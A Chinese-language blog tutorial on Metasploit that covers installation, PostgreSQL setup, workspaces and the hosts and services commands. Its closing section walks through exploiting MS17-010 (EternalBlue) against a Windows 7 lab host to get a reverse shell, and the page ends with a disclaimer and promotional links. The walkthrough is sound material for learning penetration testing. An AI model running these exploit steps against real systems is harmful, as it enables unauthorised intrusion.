简介
Metasploit是目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一。它彻底改变了我们执行安全测试的方式。
Metasploit之所以流行,是因为它可以执行广泛的安全测试任务,从而简化渗透测试的工作。Metasploit 适用于所有流行的操作系统,本文中,主要以Kali Linux为主。因为Kali Linux预装了 Metasploit 框架和运行在框架上的其他第三方工具。
在Windows上安装Metasploit非常简单,直接从官方下载(http://www.metasploit.com/download).安装文件进行安装即可。
准备工作
Metasploit的四个版本:
Pro:适用于渗透测试人员和IT安全团队
Express:适用于一般IT人员
Community:适用于小公司和学生
Framework:适用于开发人员和安全研究人员
请从官网下载最新版的 Metasploit Framework
(https://windows.metasploit.com/metasploitframework-latest.msi)
它包含控制台程序和其他依赖程序。
如何安装
下载完之后,运行即可,它将自动安装相关所有组件。
Tip:在Windows上安装Metasploit时候,应该禁用防护软件,因为可能会检测到一些安装文件为恶意程序,从而阻止安装过程。安装完后将 Metasploit加入到防护软件的白名单。
配置PostgreSQL数据库
Metasploit的一个重要特性是支持PostgreSQL数据库,使用它来存储渗透测试结果和漏洞信息。
准备工作
启动服务,然后使用 Metasploit msfdb 初始化数据库
怎么做
1、启动数据库
root@osboxes:~# systemctl start postgresql`` ``12`` `` ``2、初始化数据库``~# msfdb init`` ``Creating database user 'msf'`` ``Enter password for new role:`` ``Enter it again:`` ``Creating databases 'msf' and 'msf_test'`` ``Creating configuration file in /usr/share/metasploit-framework/config/database.yml`` ``Creating initial database schema``
3、修改数据库配置文件
我们可以直接编辑 database.yml文件,文件位于/usr/share/metasploit-framework/config/database.yml
root@osboxes:~# cat /usr/share/metasploit-framework/config/database.yml` ` ``development:` ` ` `adapter: postgresql` ` ` `database: msf` ` ` `username: msf` ` ` `password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=` ` ` `host: localhost` ` ` `port: 5432` ` ` `pool: 5` ` ` `timeout: 5` ` ``production:` ` ` `adapter: postgresql` ` ` `database: msf` ` ` `username: msf` ` ` `password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=` ` ` `host: localhost` ` ` `port: 5432` ` ` `pool: 5` ` ` `timeout: 5` ` ``test:` ` ` `adapter: postgresql` ` ` `database: msf_test` ` ` `username: msf` ` ` `password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=` ` ` `host: localhost` ` ` `port: 5432` ` ` `pool: 5` ` ` `timeout: 5
里面的usrname和password是默认配置的,你可以根据自己的喜好进行更改
4、确定是否连接到数据库
启动msfconsole,然后执行db_status,检查数据库连接情况。
msf > db_status`` ``[*] postgresql connected to msf`` ``msf >``
更多
如果要手动连接到数据库,可以使用如下命令:
db_connect <user:pass>@<host:port>/<database>``
我们可以使用databse.yml文件测试db_connect命令
msf > db_disconnect //断开连接`` ``msf > db_status //查看连接状态`` ``[*] postgresql selected, no connection`` ``msf > db_connect`` ``[*] Usage: db_connect <user:pass>@<host:port>/<database>`` ``[*] OR: db_connect -y [path/to/database.yml]`` ``[*] Examples:`` ``[*] db_connect user@metasploit3`` ``[*] db_connect user:pass@192.168.0.2/metasploit3`` ``[*] db_connect user:pass@192.168.0.2:1500/metasploit3`` ``msf > db_connect -y /usr/share/metasploit-framework/config/database.yml //连接数据库`` ``[*] Rebuilding the module cache in the background...`` ``msf > db_status //查看连接状态`` ``[*] postgresql connected to msf`` ``msf >
九、创建工作区
Metasploit中有工作区的概念,可以用来隔离不同的渗透测试任务,从而避免混淆不同的测试。
怎么做
1、默认工作区
默认工作区是default,输入workspace查看
msf > workspace`` ``* default`` ``msf >``
输入workspace -h 查看命令帮助
msf > workspace -h`` ``Usage:`` ` `workspace List workspaces`` ` `workspace -v List workspaces verbosely`` ` `workspace [name] Switch workspace`` ` `workspace -a [name] ... Add workspace(s)`` ` `workspace -d [name] ... Delete workspace(s)`` ` `workspace -D Delete all workspaces`` ` `workspace -r <old> <new> Rename workspace`` ` `workspace -h Show this help information`` ``msf >``
2、新建工作区
使用workspace -a命令添加新的工作区
msf > workspace -a book`` ``[*] Added workspace: book`` ``msf > workspace`` ` `default`` ``* book`` ``msf >``
3、删除工作区
使用workspace -d命令删除工作区
msf > workspace -d book`` ``[*] Deleted workspace: book`` ``[*] Switched workspace: default``
4、更改工作区
使用workspace命令更改工作区
msf > workspace book`` ``[*] Workspace: book``
5、重命名工作区
使用workspace -r命令更改工作区
msf > workspace -r book msf`` ``[*] Switched workspace: msf`` ``msf >
十、使用数据库
配置完数据库,我们就可以使用它了,首先我们了解如何使用db_import导入外部工具数据。
准备工作
在msfconsole中运行db_import命令,查看支持的文件类型
msf > db_import` ` ``Usage: db_import <filename> [file2...]` ` ``Filenames can be globs like *.xml, or **/*.xml which will search recursively` ` ``Currently supported file types include:` ` ` `Acunetix` ` ` `Amap Log` ` ` `Amap Log -m` ` ` `Appscan` ` ` `Burp Session XML` ` ` `Burp Issue XML` ` ` `CI` ` ` `Foundstone` ` ` `FusionVM XML` ` ` `...` ` ` `Wapiti XML` ` ``msf >` `
**怎么做**
1、导入nmap扫描结果
先完成扫描,保存结果为 XML 文档
root@osboxes:~# nmap -Pn -A -oX report 192.168.177.139
*
2、然后执行 db_import PATH进行导入
msf > db_import /root/report`` ``[*] Importing 'Nmap XML' data`` ``[*] Import: Parsing with 'Nokogiri v1.8.5'`` ``[*] Importing host 192.168.177.139`` ``[*] Successfully imported /root/report`` ``msf >
3、当然也可以直接在msfconsole中运行dbnmap进行扫描,这样结果就直接保存到当前数据库中了,dbnmap 命令的参数与nmap 命令相同。
十一、使用 hosts 命令
既然数据库中有了数据,就可以使用hosts命令来显示当前工作区中存储的所有主机了。
msf > hosts`` ``Hosts`` ``=====`` ``address mac name os_name os_flavor os_sp purpose info comments`` ``------- --- ---- ------- --------- ----- ------- ---- --------`` ``192.168.177.139 00:0c:29:c6:a9:e5 Unknown device`` ``msf >
怎么做
1、查看命令帮助hosts -h
msf > hosts -h`` ``Usage: hosts [ options ] [addr1 addr2 ...]`` ``OPTIONS:`` ` `-a,--add Add the hosts instead of searching`` ` `-d,--delete Delete the hosts instead of searching`` ` `-c <col1,col2> Only show the given columns (see list below)`` ` `-C <col1,col2> Only show the given columns until the next restart (see list below)`` ` `-h,--help Show this help information`` ` `-u,--up Only show hosts which are up`` ` `-o <file> Send output to a file in csv format`` ` `-O <column> Order rows by specified column number`` ` `-R,--rhosts Set RHOSTS from the results of the search`` ` `-S,--search Search string to filter by`` ` `-i,--info Change the info of a host`` ` `-n,--name Change the name of a host`` ` `-m,--comment Change the comment of a host`` ` `-t,--tag Add or specify a tag to a range of hosts`` ``Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags`` ``msf >``
**十二、理解 services 命令**
services命令作用是显示目标主机上可用的服务
查看命令帮助:
msf > services -h`` ``Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]`` ` `-a,--add Add the services instead of searching`` ` `-d,--delete Delete the services instead of searching`` ` `-c <col1,col2> Only show the given columns`` ` `-h,--help Show this help information`` ` `-s <name1,name2> Search for a list of service names`` ` `-p <port1,port2> Search for a list of ports`` ` `-r <protocol> Only show [tcp|udp] services`` ` `-u,--up Only show services which are up`` ` `-o <file> Send output to a file in csv format`` ` `-O <column> Order rows by specified column number`` ` `-R,--rhosts Set RHOSTS from the results of the search`` ` `-S,--search Search string to filter by`` ``Available columns: created_at, info, name, port, proto, state, updated_at``
**怎么做**
1、显示所有可用服务
msf > services`` ``Services`` ``========`` ``host port proto name state info`` ``---- ---- ----- ---- ----- ----`` ``192.168.177.142 22 tcp ssh open OpenSSH 5.3p1 Debian 3ubuntu4 Ubuntu Linux; protocol 2.0`` ``192.168.177.142 80 tcp http open Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1`` ``192.168.177.142 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP`` ``192.168.177.142 143 tcp imap open Courier Imapd released 2008`` ``192.168.177.142 443 tcp ssl/https open`` ``192.168.177.142 445 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP`` ``192.168.177.142 5001 tcp java-rmi open Java RMI`` ``192.168.177.142 8080 tcp http open Apache Tomcat/Coyote JSP engine 1.1`` ``192.168.177.142 8081 tcp http open Jetty 6.1.25`` ``msf >``
2、过滤服务
msf > services -s http`` ``Services`` ``========`` ``host port proto name state info`` ``---- ---- ----- ---- ----- ----`` ``192.168.177.142 80 tcp http open Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1`` ``192.168.177.142 8080 tcp http open Apache Tomcat/Coyote JSP engine 1.1`` ``192.168.177.142 8081 tcp http open Jetty 6.1.25``
**实战**\-使用msf渗透攻击Win7主机
第一步-确定目标及漏洞
目标:192.168.1.131
漏洞:MS17-010
目的:拿到最高权限,进行远程代码执行
用nmap扫描主机开放445端口,接下用msf测试一下漏洞是否存在。
5.2 第二步-查找验证模块并且调用
使用#msfconsole命令调用Metasploit框架,如图:
使用#search MS17-010命令,搜索查找MS17-010漏洞模块,如图:
这里我们先选择#1的auxiliary(辅助模块)先进行踩点,查看漏洞是否可以利用,再去进行渗透攻击。
#use auxiliary/scanner/smb/smb_ms17_010 //调用此模块
如图:
使用#show options 命令,查看需要设置的选项(Required为yes是必须设置的选项)。
使用#set RHOSTS 192.168.1.131 命令,设置目标地址。
最后使用#run命令去运行查看漏洞是否存在
Host is likely VULNERABLE to MS17-010! 这个主机存在MS17-010漏洞,可以去利用。
检测到该目标操作系统是Windows 7 专业版
接下来我们可以利用exploits模块进行渗透攻击。
5.3 第三步-利用exploist模块进行渗透
第二步骤的时候检测到目标存在该漏洞,现在我们开始进行渗透。
先使用#back命令退出辅助模块,如图:
使用#search MS17-010命令,搜索MS17-010模块,如图:
我们在第二步的时候使用的是auxiliary模块进行的漏洞检测,这回我们使用exploit模块进行漏洞利用。这里我们选择#2
#use exploit/windows/smb/ms17_010_eternalblue
使用#show options命令,查看需要设置的参数,如图:
这里我们看见多出一个payload选项,这个选项的用处主要是渗透攻击成功后目标机与LHOST建立的Shell连接,所以LHOST参数设置我们自己本地的IP地址,RHOSTS参数还是目标IP
#set RHOSTS 192.168.1.131 //设置exploit,目标IP``#set LHOST 192.168.1.138 //设置payload
* 2
如图:
最后使用#run命令去运行exploit
显示
192.168.1.138:4444 -> 192.168.1.131:49160
我们已经所渗透成功了,现在我们已经拿到目标机的Shell了。
我们可以使用#shell命令,在目标机打开一个shell。
如果显示乱码,用#chcp 65001命令,改成UTF-8代码页。
公众号技术文章仅供诸位网络安全工程师对自己所管辖的网站、服务器、网络进行检测或维护时参考用,公众号的检测工具仅供各大安全公司的安全测试员安全测试使用。未经允许请勿利用文章里的技术资料对任何外部计算机系统进行入侵攻击,公众号的各类工具均不得用于任何非授权形式的安全测试。公众号仅提供技术交流,不对任何成员利用技术文章或者检测工具造成任何理论上的或实际上的损失承担责任。
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
最后给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
读者福利 |
CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
1.网络安全学习路线图
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】
(都打包成一块的了,不能一一展开,总共300多集)
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
读者福利 |
CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)